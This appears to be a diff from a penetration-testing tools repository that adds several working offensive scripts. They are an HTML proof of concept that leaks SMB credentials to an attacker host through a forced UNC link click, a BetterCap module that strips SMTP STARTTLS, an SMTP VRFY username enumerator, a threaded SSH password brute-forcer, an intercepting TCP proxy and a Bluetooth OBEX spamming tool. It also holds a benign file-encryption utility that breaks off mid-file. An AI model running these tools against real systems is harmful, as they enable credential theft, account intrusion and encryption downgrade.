print '[+] Spotted {} ICMP Echo Requests.'.format(len(responding))
|
|
@ -0,0 +1,6 @@
|
||||||
|
<!-- PoC for leaking SMB Credentials with listening Responder -->
|
||||||
|
<!-- as presented by X41 D-Sec GmbH in Browser Security White Paper. -->
|
||||||
|
<!-- To be used as: $ `responder -I eth0 -w -r f -v` -->
|
||||||
|
<body onmousemove="document.getElementById(6).click()">
|
||||||
|
<a id=6 href="\\192.168.56.101\edgeleak" download></a>
|
||||||
|
</body>
|
|
@ -0,0 +1,42 @@
|
||||||
|
=begin
|
||||||
|
Author : @mgeeky
|
||||||
|
Email : mb@binary-offensive.com
|
||||||
|
This project is released under the GPL 3 license.
|
||||||
|
=end
|
||||||
|
|
||||||
|
class SMTPDowngrade < BetterCap::Proxy::TCP::Module
|
||||||
|
meta(
|
||||||
|
'Name' => 'SMTPDowngrade',
|
||||||
|
'Description' => 'Downgrades SMTP encryption by returning deny to STARTTLS request.',
|
||||||
|
'Version' => '1.0.0',
|
||||||
|
'Author' => 'mgeeky - mb@binary-offensive.com - https://github.com/mgeeky',
|
||||||
|
'License' => 'GPL3'
|
||||||
|
)
|
||||||
|
|
||||||
|
def on_response(event)
|
||||||
|
if @respondwith != nil
|
||||||
|
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Lying that SMTP server does not support SSL/TLS."
|
||||||
|
event.data = @respondwith
|
||||||
|
@respondwith = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_data(event)
|
||||||
|
@respondwith = smtp_parse_request(event)
|
||||||
|
end
|
||||||
|
|
||||||
|
def smtp_parse_request(event)
|
||||||
|
return nil if not event.data
|
||||||
|
|
||||||
|
if event.data =~ /^STARTTLS\s*\r\n/
|
||||||
|
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command."
|
||||||
|
@respondwith = "454 4.7.0 TLS not available due to local problem\r\n"
|
||||||
|
|
||||||
|
event.data = "HELP\r\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,98 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
#
|
||||||
|
# Simple script intended to abuse SMTP server's VRFY command to leak
|
||||||
|
# usernames having accounts registered within it.
|
||||||
|
#
|
||||||
|
# Mariusz B., 2016
|
||||||
|
#
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
|
||||||
|
# Specify below your default, fallback wordlist
|
||||||
|
DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt'
|
||||||
|
DEFAULT_TIMEOUT = 20
|
||||||
|
|
||||||
|
def interpret_smtp_status_code(resp):
|
||||||
|
code = int(resp.split(' ')[0])
|
||||||
|
messages = {
|
||||||
|
250:'Requested mail action okay, completed',
|
||||||
|
251:'User not local; will forward to <forward-path>',
|
||||||
|
252:'Cannot VRFY user, but will accept message and attempt delivery',
|
||||||
|
502:'Command not implemented',
|
||||||
|
530:'Access denied (???a Sendmailism)',
|
||||||
|
550:'Requested action not taken: mailbox unavailable',
|
||||||
|
551:'User not local; please try <forward-path>',
|
||||||
|
}
|
||||||
|
|
||||||
|
if code in messages.keys():
|
||||||
|
return '({} {})'.format(code, messages[code])
|
||||||
|
else:
|
||||||
|
return '({} code unknown)'.format(code)
|
||||||
|
|
||||||
|
def vrfy(server, username, port, timeout, brute=False):
|
||||||
|
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.settimeout(timeout)
|
||||||
|
|
||||||
|
try:
|
||||||
|
conn = s.connect((server, port))
|
||||||
|
except socket.error, e:
|
||||||
|
print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e))
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
print '[+] Service banner: "{}"'.format(s.recv(1024).strip())
|
||||||
|
s.send('HELO test@test.com\r\n')
|
||||||
|
print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip()
|
||||||
|
|
||||||
|
except socket.error, e:
|
||||||
|
print '[!] Failed at initial session setup: "{}"'.format(str(e))
|
||||||
|
return False
|
||||||
|
|
||||||
|
if brute:
|
||||||
|
print '[?] Engaging brute-force enumeration...'
|
||||||
|
|
||||||
|
|
||||||
|
if brute:
|
||||||
|
for i in range(len(username)):
|
||||||
|
user = username[i]
|
||||||
|
s.send('VRFY ' + user + '\r\n')
|
||||||
|
res = s.recv(1024).strip()
|
||||||
|
print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format(
|
||||||
|
i, len(username), server, port, user, interpret_smtp_status_code(res))
|
||||||
|
else:
|
||||||
|
s.send('VRFY ' + username + '\r\n')
|
||||||
|
res = s.recv(1024).strip()
|
||||||
|
|
||||||
|
print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res)
|
||||||
|
if 'User unknown' in res:
|
||||||
|
print '[!] User not found.'
|
||||||
|
elif (res.startswith('25') and username in res and '<' in res and '>' in res):
|
||||||
|
print '[+] User found: "{}"'.format(res.strip())
|
||||||
|
else:
|
||||||
|
print '[?] Response: "{}"'.format(res.strip())
|
||||||
|
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print '[?] Usage: smtpvrfy.py <smtpserver> [username|wordlist] [timeout]'
|
||||||
|
print '\t(to specify a port provide it after a colon \':\' in server parameter)'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
server = sys.argv[1]
|
||||||
|
port = 25 if ':' not in server else int(server[server.find(':')+1:])
|
||||||
|
username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST
|
||||||
|
timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3])
|
||||||
|
|
||||||
|
if os.path.isfile(username):
|
||||||
|
names = []
|
||||||
|
with open(username, 'r') as f:
|
||||||
|
for a in f:
|
||||||
|
names.append(a.strip())
|
||||||
|
print '[>] Provided wordlist file with {} entries.'.format(len(names))
|
||||||
|
vrfy(server, names, port, timeout, brute=True)
|
||||||
|
else:
|
||||||
|
vrfy(server, username, port, timeout)
|
|
@ -0,0 +1,74 @@
|
||||||
|
#
|
||||||
|
# Pxssh driven SSH brute-forcing script.
|
||||||
|
# Based on:
|
||||||
|
# Violent Python, by TJ O'Connor
|
||||||
|
#
|
||||||
|
|
||||||
|
import pxssh
|
||||||
|
import time
|
||||||
|
import optparse
|
||||||
|
from sys import argv, exit, stdout
|
||||||
|
from threading import *
|
||||||
|
|
||||||
|
MAX_CONNS = 5
|
||||||
|
CONN_LOCK = BoundedSemaphore(value=MAX_CONNS)
|
||||||
|
FOUND = False
|
||||||
|
FAILS = 0
|
||||||
|
|
||||||
|
def send_command(s, cmd):
|
||||||
|
s.sendline(cmd)
|
||||||
|
s.prompt()
|
||||||
|
print s.before
|
||||||
|
|
||||||
|
def connect(host, user, password, release):
|
||||||
|
global FOUND
|
||||||
|
global FAILS
|
||||||
|
try:
|
||||||
|
s = pxssh.pxssh()
|
||||||
|
s.login(host, user, password)
|
||||||
|
print '\n\n[+] Password found: ' + password + '\n\n'
|
||||||
|
FOUND = True
|
||||||
|
return s
|
||||||
|
except Exception, e:
|
||||||
|
if 'read_nonblocking' in str(e):
|
||||||
|
FAILS += 1
|
||||||
|
time.sleep(3)
|
||||||
|
connect(host, user, password, False)
|
||||||
|
elif 'synchronize with original prompt' in str(e):
|
||||||
|
time.sleep(1)
|
||||||
|
connect(host, user, password, False)
|
||||||
|
finally:
|
||||||
|
if release:
|
||||||
|
CONN_LOCK.release()
|
||||||
|
|
||||||
|
def main():
|
||||||
|
|
||||||
|
if len(argv) < 4:
|
||||||
|
print 'Usage: sshbrute.py host user passwords_list'
|
||||||
|
return
|
||||||
|
|
||||||
|
host = argv[1]
|
||||||
|
user = argv[2]
|
||||||
|
passwords = [ p.strip() for p in open(argv[3]).readlines()]
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
for p in passwords:
|
||||||
|
i += 1
|
||||||
|
if FOUND:
|
||||||
|
print '[*] Password found.'
|
||||||
|
exit(0)
|
||||||
|
if FAILS > 5:
|
||||||
|
print '[!] Exiting: Too many socket timeouts'
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
CONN_LOCK.acquire()
|
||||||
|
stdout.write('[?] Trying: "%s" %d/%d (%.2f%%)\r' % \
|
||||||
|
(p, i, len(passwords), float(i)/len(passwords)))
|
||||||
|
stdout.flush()
|
||||||
|
t = Thread(target=connect, args=(host, user, p, True))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
stdout.write('\n')
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
|
@ -0,0 +1,264 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import argparse
|
||||||
|
import threading
|
||||||
|
|
||||||
|
config = {
|
||||||
|
'debug': False,
|
||||||
|
'verbose': False,
|
||||||
|
'timeout' : 5.0,
|
||||||
|
}
|
||||||
|
|
||||||
|
# =========================================================
|
||||||
|
# CUSTOM ANALYSIS, FUZZING, INTERCEPTION ROUTINES.
|
||||||
|
|
||||||
|
def requestHandler(buff):
|
||||||
|
'''
|
||||||
|
Modify any requests destined for the REMOTE host service.
|
||||||
|
'''
|
||||||
|
return buff
|
||||||
|
|
||||||
|
|
||||||
|
def responseHandler(buff):
|
||||||
|
'''
|
||||||
|
Modify any responses destined for the LOCAL host service.
|
||||||
|
'''
|
||||||
|
return buff
|
||||||
|
|
||||||
|
# =========================================================
|
||||||
|
|
||||||
|
class Logger:
|
||||||
|
@staticmethod
|
||||||
|
def _out(x):
|
||||||
|
if config['debug'] or config['verbose']:
|
||||||
|
sys.stderr.write(x + '\n')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def dbg(x):
|
||||||
|
if config['debug']:
|
||||||
|
sys.stderr.write('[dbg] ' + x + '\n')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def out(x):
|
||||||
|
Logger._out('[.] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def info(x):
|
||||||
|
Logger._out('[?] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def err(x, fatal = False):
|
||||||
|
Logger._out('[!] ' + x)
|
||||||
|
if fatal: sys.exit(-1)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def fail(x, fatal = False):
|
||||||
|
Logger._out('[-] ' + x)
|
||||||
|
if fatal: sys.exit(-1)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ok(x):
|
||||||
|
Logger._out('[+] ' + x)
|
||||||
|
|
||||||
|
def hexdump(src, length = 16):
|
||||||
|
result = []
|
||||||
|
digits = 4 if isinstance(src, unicode) else 2
|
||||||
|
num = len(src)
|
||||||
|
|
||||||
|
for i in range(0, num, length):
|
||||||
|
s = src[i:i+length]
|
||||||
|
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
|
||||||
|
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
|
||||||
|
|
||||||
|
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
|
||||||
|
|
||||||
|
return str(b'\n'.join(result))
|
||||||
|
|
||||||
|
def recvFrom(sock):
|
||||||
|
'''
|
||||||
|
Simple recvAll based on timeout exception.
|
||||||
|
'''
|
||||||
|
buff = ''
|
||||||
|
sock.settimeout(config['timeout'])
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
data = sock.recv(4096)
|
||||||
|
if not data: break
|
||||||
|
|
||||||
|
buff += data
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return buff
|
||||||
|
|
||||||
|
def proxyHandler(clientSock, remoteHost, remotePort, recvFirst):
|
||||||
|
Logger.dbg('Connecting to REMOTE service: {}:{}'.format(remoteHost, remotePort))
|
||||||
|
|
||||||
|
try:
|
||||||
|
remoteSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
remoteSock.settimeout(config['timeout'])
|
||||||
|
remoteSock.connect((remoteHost, remotePort))
|
||||||
|
|
||||||
|
Logger.dbg('Connected.')
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
Logger.err('TCP Proxy was unable to connect to REMOTE service: {}:{}'.format(
|
||||||
|
remoteHost, remotePort), fatal = True
|
||||||
|
)
|
||||||
|
|
||||||
|
if recvFirst:
|
||||||
|
remoteBuff = recvFrom(remoteSock)
|
||||||
|
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
|
||||||
|
Logger.dbg('Remote service Recv buff BEFORE responseHandler:\n' + hexdump(remoteBuff))
|
||||||
|
|
||||||
|
remoteBuffOrig = remoteBuff
|
||||||
|
remoteBuff = responseHandler(remoteBuff)
|
||||||
|
|
||||||
|
if remoteBuff != remoteBuffOrig:
|
||||||
|
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
|
||||||
|
len(remoteBuffOrig, remoteBuff)))
|
||||||
|
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
|
||||||
|
|
||||||
|
if len(remoteBuff):
|
||||||
|
Logger.info('[<==] Sending {} bytes to LOCAL service.'.format(len(remoteBuff)))
|
||||||
|
clientSock.send(remoteBuff)
|
||||||
|
|
||||||
|
# Send & Receive / Proxy loop
|
||||||
|
while True:
|
||||||
|
|
||||||
|
# LOCAL part
|
||||||
|
localBuff = recvFrom(clientSock)
|
||||||
|
if len(localBuff):
|
||||||
|
Logger.info('[==>] Received {} bytes from LOCAL service.'.format(len(localBuff)))
|
||||||
|
Logger.dbg('Local service Recv buff:\n' + hexdump(localBuff))
|
||||||
|
|
||||||
|
localBuffOrig = localBuff
|
||||||
|
localBuff = requestHandler(localBuff)
|
||||||
|
|
||||||
|
if localBuff != localBuffOrig:
|
||||||
|
Logger.dbg('Buffer to be sent to REMOTE service modified. Lengths: {} -> {}'.format(
|
||||||
|
len(localBuffOrig, localBuff)))
|
||||||
|
Logger.dbg('Local service Recv buff AFTER requestHandler:\n' + hexdump(localBuff))
|
||||||
|
|
||||||
|
remoteSock.send(localBuff)
|
||||||
|
Logger.info('[==>] Sent to REMOTE service.')
|
||||||
|
|
||||||
|
# REMOTE part
|
||||||
|
remoteBuff = recvFrom(remoteSock)
|
||||||
|
if len(remoteBuff):
|
||||||
|
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
|
||||||
|
Logger.dbg('Remote service Recv buff:\n' + hexdump(remoteBuff))
|
||||||
|
|
||||||
|
remoteBuffOrig = remoteBuff
|
||||||
|
remoteBuff = responseHandler(remoteBuff)
|
||||||
|
|
||||||
|
if remoteBuff != remoteBuffOrig:
|
||||||
|
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
|
||||||
|
len(remoteBuffOrig, remoteBuff)))
|
||||||
|
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
|
||||||
|
|
||||||
|
clientSock.send(remoteBuff)
|
||||||
|
Logger.info('[<==] Sent to LOCAL service.')
|
||||||
|
|
||||||
|
if not len(localBuff) or not len(remoteBuff):
|
||||||
|
clientSock.close()
|
||||||
|
remoteSock.close()
|
||||||
|
|
||||||
|
Logger.info('No more data. Closing connections.')
|
||||||
|
break
|
||||||
|
|
||||||
|
def serverLoop(localHost, localPort, remoteHost, remotePort, receiveFirst):
|
||||||
|
serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
try:
|
||||||
|
serv.bind((localHost, localPort))
|
||||||
|
Logger.ok('TCP Proxy listening on: {}:{}'.format(localHost, localPort))
|
||||||
|
|
||||||
|
serv.listen(5)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
Logger.err('TCP Proxy server was unable to bound to {}:{}'.format(localHost, localPort), fatal = True)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
clientSock, addr = serv.accept()
|
||||||
|
Logger.info('[==>] Received incoming connection from: {}:{}'.format(addr[0], addr[1]))
|
||||||
|
proxyThread = threading.Thread(
|
||||||
|
target = proxyHandler,
|
||||||
|
args = (
|
||||||
|
clientSock,
|
||||||
|
remoteHost,
|
||||||
|
remotePort,
|
||||||
|
receiveFirst
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
proxyThread.start()
|
||||||
|
|
||||||
|
def processOpts(argv):
|
||||||
|
global config
|
||||||
|
|
||||||
|
usageStr = '''
|
||||||
|
tcpproxy.py [options] <LOCAL> <REMOTE>
|
||||||
|
|
||||||
|
Example:
|
||||||
|
tcpproxy.py 127.0.0.1:9000 192.168.56.102:9000
|
||||||
|
'''
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(prog = argv[0], usage = usageStr)
|
||||||
|
parser.add_argument('localhost', metavar='LOCAL', type=str,
|
||||||
|
help = 'Local service to proxy (host:port)')
|
||||||
|
parser.add_argument('remotehost', metavar='REMOTE', type=str,
|
||||||
|
help = 'Remote service to proxy to (host:port)')
|
||||||
|
parser.add_argument('-r', '--recvfirst', dest='recvfirst', action='store_true', default = False,
|
||||||
|
help='Make the proxy first receive something, than respond.')
|
||||||
|
parser.add_argument('-t', '--timeout', metavar='timeout', dest='timeout', default = config['timeout'],
|
||||||
|
help='Specifies service connect & I/O timeout. Default: {}.'.format(config['timeout']))
|
||||||
|
parser.add_argument('-v', '--verbose', dest='verbose', action='store_true',
|
||||||
|
help='Show verbose output.')
|
||||||
|
parser.add_argument('-d', '--debug', dest='debug', action='store_true',
|
||||||
|
help='Show more verbose, debugging output.')
|
||||||
|
|
||||||
|
if len(sys.argv[1:]) < 2:
|
||||||
|
parser.print_help()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
if args.debug:
|
||||||
|
config['debug'] = args.debug
|
||||||
|
if args.verbose:
|
||||||
|
config['verbose'] = args.verbose
|
||||||
|
config['timeout'] = float(args.timeout)
|
||||||
|
Logger.dbg('Timeout set to: {} seconds.'.format(args.timeout))
|
||||||
|
|
||||||
|
return (args.localhost, args.remotehost, args.recvfirst)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
local, remote, recvfirst = processOpts(sys.argv)
|
||||||
|
localHost, localPort = local.split(':')
|
||||||
|
remoteHost, remotePort = remote.split(':')
|
||||||
|
|
||||||
|
try:
|
||||||
|
localPort = int(localPort)
|
||||||
|
if localPort < 0 or localPort > 65535:
|
||||||
|
raise ValueError
|
||||||
|
except ValueError:
|
||||||
|
Logger.err('Invalid LOCAL port specified.', fatal = True)
|
||||||
|
|
||||||
|
try:
|
||||||
|
remotePort = int(remotePort)
|
||||||
|
if remotePort < 0 or remotePort > 65535:
|
||||||
|
raise ValueError
|
||||||
|
except ValueError:
|
||||||
|
Logger.err('Invalid LOCAL port specified.', fatal = True)
|
||||||
|
|
||||||
|
Logger.info('Proxying: {}:{} => {}:{}'.format(
|
||||||
|
localHost, localPort, remoteHost, remotePort
|
||||||
|
))
|
||||||
|
|
||||||
|
serverLoop(localHost, localPort, remoteHost, remotePort, recvfirst)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
|
@ -0,0 +1,9 @@
|
||||||
|
## Other Penetration-Testing related scripts and tools
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- **`bluetoothObexSpam.py`** - Script intended to flood bluetooth enabled devices with incoming OBEX Object Push requests containing attacker-specified file. ([gist](https://gist.github.com/mgeeky/5b35453cd46837a01200a0eca4aa1e41))
|
||||||
|
|
||||||
|
- **`encrypt.rb`** - Simple File Encryption utility (with support for Blowfish, GOST, IDEA, AES) capable of encrypting directories. ([gist](https://gist.github.com/mgeeky/751c01c4dac99871f4da))
|
||||||
|
|
||||||
|
- **`xor-key-recovery.py`** - Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length - it searches for proper key that could decrypt cipher into text. ([gist](https://gist.github.com/mgeeky/589b2cf781901288dfea0894a780ff98))
|
|
@ -0,0 +1,102 @@
|
||||||
|
#
|
||||||
|
# Bluetooth scanner with ability to spam devices
|
||||||
|
# with incoming OBEX Object Push requests containing
|
||||||
|
# specified file.
|
||||||
|
#
|
||||||
|
# Mariusz B. / MGeeky, 16'
|
||||||
|
#
|
||||||
|
# Partially based on `Violent Python` snippets.
|
||||||
|
# Modules required:
|
||||||
|
# python-bluez
|
||||||
|
# python-obexftp
|
||||||
|
#
|
||||||
|
import bluetooth
|
||||||
|
import scapy
|
||||||
|
import obexftp
|
||||||
|
import sys
|
||||||
|
import optparse
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import os
|
||||||
|
|
||||||
|
foundDevs = []
|
||||||
|
|
||||||
|
def printDev(name, dev, txt='Bluetooth device'):
|
||||||
|
print '[+] %s: "%s" (MAC: %s)' % (txt, name, dev)
|
||||||
|
|
||||||
|
def retBtAddr(addr):
|
||||||
|
btAddr = str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
|
||||||
|
btAddr = btAddr[0:2] + ':' + btAddr[2:4] + ':' + btAddr[4:6] + \
|
||||||
|
':' + btAddr[6:8] + ':' + btAddr[8:10] + ':' + btAddr[10:12]
|
||||||
|
return btAddr
|
||||||
|
|
||||||
|
def checkBluetooth(btAddr):
|
||||||
|
btName = bluetooth.lookup_name(btAddr)
|
||||||
|
if btName:
|
||||||
|
printDev('Hidden Bluetooth device detected', btName, btAddr)
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def sendFile(dev, filename):
|
||||||
|
if os.path.exists(filename):
|
||||||
|
client = obexftp.client(obexftp.BLUETOOTH)
|
||||||
|
channel = obexftp.browsebt(dev, obexftp.PUSH)
|
||||||
|
print '[>] Sending file to %s@%s' % (dev, str(channel))
|
||||||
|
client.connect(dev, channel)
|
||||||
|
ret = client.put_file(filename)
|
||||||
|
if int(ret) >= 1:
|
||||||
|
print '[>] File has been sent.'
|
||||||
|
else:
|
||||||
|
print '[!] File has not been accepted.'
|
||||||
|
client.disconnect()
|
||||||
|
else:
|
||||||
|
print '[!] Specified file: "%s" does not exists.'
|
||||||
|
|
||||||
|
def findDevs(opts):
|
||||||
|
global foundDevs
|
||||||
|
devList = bluetooth.discover_devices(lookup_names=True)
|
||||||
|
repeat = range(0, int(opts.repeat))
|
||||||
|
|
||||||
|
for (dev, name) in devList:
|
||||||
|
if dev not in foundDevs:
|
||||||
|
name = str(bluetooth.lookup_name(dev))
|
||||||
|
printDev(name, dev)
|
||||||
|
foundDevs.append(dev)
|
||||||
|
for i in repeat:
|
||||||
|
sendFile(dev, opts.file)
|
||||||
|
continue
|
||||||
|
|
||||||
|
if opts.spam:
|
||||||
|
for i in repeat:
|
||||||
|
sendFile(dev, opts.file)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = optparse.OptionParser(usage='Usage: %prog [options]')
|
||||||
|
parser.add_option('-f', '--file', dest='file', metavar='FILE', help='Specifies file to be sent to discovered devices.')
|
||||||
|
parser.add_option('-t', '--time', dest='time', metavar='TIMEOUT', help='Specifies scanning timeout (default - 0 secs).', default='0')
|
||||||
|
parser.add_option('-r', '--repeat', dest='repeat', metavar='REPEAT', help='Number of times to repeat file sending after finding a device (default - 1)', default='1')
|
||||||
|
parser.add_option('-s', '--spam', dest='spam', action='store_true', help='Spam found devices with the file continuosly')
|
||||||
|
|
||||||
|
print '\nBluetooth file carpet bombing via OBEX Object Push'
|
||||||
|
print 'Mariusz B. / MGeeky 16\n'
|
||||||
|
|
||||||
|
(opts, args) = parser.parse_args()
|
||||||
|
|
||||||
|
if opts.file != '':
|
||||||
|
if not os.path.exists(opts.file):
|
||||||
|
print '[!] Specified file: "%s" does not exists.'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
print '[+] Started Bluetooth scanning. Ctr-C to stop...'
|
||||||
|
|
||||||
|
timeout = float(opts.time)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
findDevs(opts)
|
||||||
|
time.sleep(timeout)
|
||||||
|
except KeyboardInterrupt, e:
|
||||||
|
print '\n[?] User interruption.'
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
|
@ -0,0 +1,189 @@
|
||||||
|
#!/usr/bin/ruby
|
||||||
|
#
|
||||||
|
# Script that performs encryption and decryption of files and directories.
|
||||||
|
# In latter case producing encrypted ZIP package that will get decompressed automatically
|
||||||
|
# after decryption.
|
||||||
|
#
|
||||||
|
# Mariusz B., 2016 v0.1
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'optparse'
|
||||||
|
require 'io/console'
|
||||||
|
|
||||||
|
gem 'rubyzip'
|
||||||
|
require 'zip/zip'
|
||||||
|
require 'zip/zipfilesystem'
|
||||||
|
|
||||||
|
|
||||||
|
def encrypt(infile, outfile, ciph, encryption, pass)
|
||||||
|
gem "crypt"
|
||||||
|
require 'crypt/blowfish'
|
||||||
|
require 'crypt/gost'
|
||||||
|
require 'crypt/idea'
|
||||||
|
require 'crypt/rijndael'
|
||||||
|
|
||||||
|
begin
|
||||||
|
cipher = case ciph
|
||||||
|
when "blowfish" then Crypt::Blowfish.new(pass)
|
||||||
|
when "gost" then Crypt::Gost.new(pass)
|
||||||
|
when "idea" then Crypt::IDEA.new(pass, encryption ? Crypt::IDEA::ENCRYPT : Crypt::IDEA::DECRYPT)
|
||||||
|
when "aes" then Crypt::Rijndael.new(pass)
|
||||||
|
else nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if cipher == nil
|
||||||
|
raise "unknown cipher."
|
||||||
|
else
|
||||||
|
raise "Input file path is empty. Cannot proceed any further" if infile.empty?
|
||||||
|
if encryption
|
||||||
|
cipher.encrypt_file(infile, outfile)
|
||||||
|
else
|
||||||
|
cipher.decrypt_file(infile, outfile)
|
||||||
|
end
|
||||||
|
puts "Operation succeeded."
|
||||||
|
end
|
||||||
|
rescue Exception => e
|
||||||
|
puts "An error ocurred during encryption: #{e}\n"
|
||||||
|
puts %Q|#{e.backtrace.join "\n\t"}|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def compress(path, out = nil)
|
||||||
|
path.sub!(%r[/$], '')
|
||||||
|
archive = out || File.join(path, File.basename(path))
|
||||||
|
archive << '.zip'
|
||||||
|
FileUtils.rm archive, :force => true
|
||||||
|
|
||||||
|
Zip::ZipFile.open(archive, 'w') do |zipfile|
|
||||||
|
Dir["#{path}/**/**"].reject{ |f| f == archive }.each do |file|
|
||||||
|
zipfile.add(file.sub(path + '/', ''), file)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
archive
|
||||||
|
end
|
||||||
|
|
||||||
|
def decompress(path, out)
|
||||||
|
Zip::ZipFile.open(path) { |zip_file|
|
||||||
|
zip_file.each { |f|
|
||||||
|
f_path = File.join(out, f.name)
|
||||||
|
FileUtils.mkdir_p(File.dirname(f_path))
|
||||||
|
zip_file.extract(f, f_path) unless File.exist?(f_path)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Main function.
|
||||||
|
if __FILE__ == $0
|
||||||
|
options = {:cipher => 'aes'}
|
||||||
|
optsparser = OptionParser.new do |opts|
|
||||||
|
opts.program_name = "encryption.rb"
|
||||||
|
opts.banner = "Usage: encryption [options] <mode> <infile> <outfile>\n\nWhere:"\
|
||||||
|
"\n <mode>\t\t\t Either encrypt or decrypt (or for shorteness: e|d)."\
|
||||||
|
"\n <infile>\t\t\t Specifies input file or directory path."\
|
||||||
|
"\n <outfile>\t\t\t Specifies output file path.\n"
|
||||||
|
|
||||||
|
opts.separator ""
|
||||||
|
opts.separator "Additional options:"
|
||||||
|
|
||||||
|
supported = %w[blowfish gost idea aes]
|
||||||
|
opts.on("-c", "--cipher <cipher>", "Supported ciphers (by default 'aes' will be used):",
|
||||||
|
*supported) do |cipher|
|
||||||
|
unless supported.include?(cipher)
|
||||||
|
opts.warn "[!] Unsupported cipher!"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
options[:cipher] = cipher.downcase
|
||||||
|
end
|
||||||
|
|
||||||
|
opts.on("-h", "--help", "Displays help") do
|
||||||
|
puts opts
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
end
|
||||||
|
optsparser.parse!
|
||||||
|
|
||||||
|
unless ARGV.length > 2
|
||||||
|
optsparser.warn "Required <mode> and <file> parameters missing!\n\n#{optsparser}"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
mode = case ARGV[0].downcase
|
||||||
|
when 'encrypt', 'enc', 'e' then "encrypt"
|
||||||
|
when 'decrypt', 'dec', 'd' then "decrypt"
|
||||||
|
else "error"
|
||||||
|
end
|
||||||
|
|
||||||
|
if mode == "error"
|
||||||
|
optsparser.warn "You must specify valid <mode> - either 'encrypt' or 'decrypt'!"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
infile = ARGV[1].chomp
|
||||||
|
outfile = ARGV[2].chomp
|
||||||
|
cipher = options[:cipher]
|
||||||
|
|
||||||
|
puts "Mode: #{mode.capitalize}"
|
||||||
|
puts "Cipher: #{cipher.upcase}"
|
||||||
|
puts "Input file: '#{infile}'"
|
||||||
|
puts "Output file: '#{outfile}'"
|
||||||
|
puts ""
|
||||||
|
|
||||||
|
compressed = false
|
||||||
|
tmp = ''
|
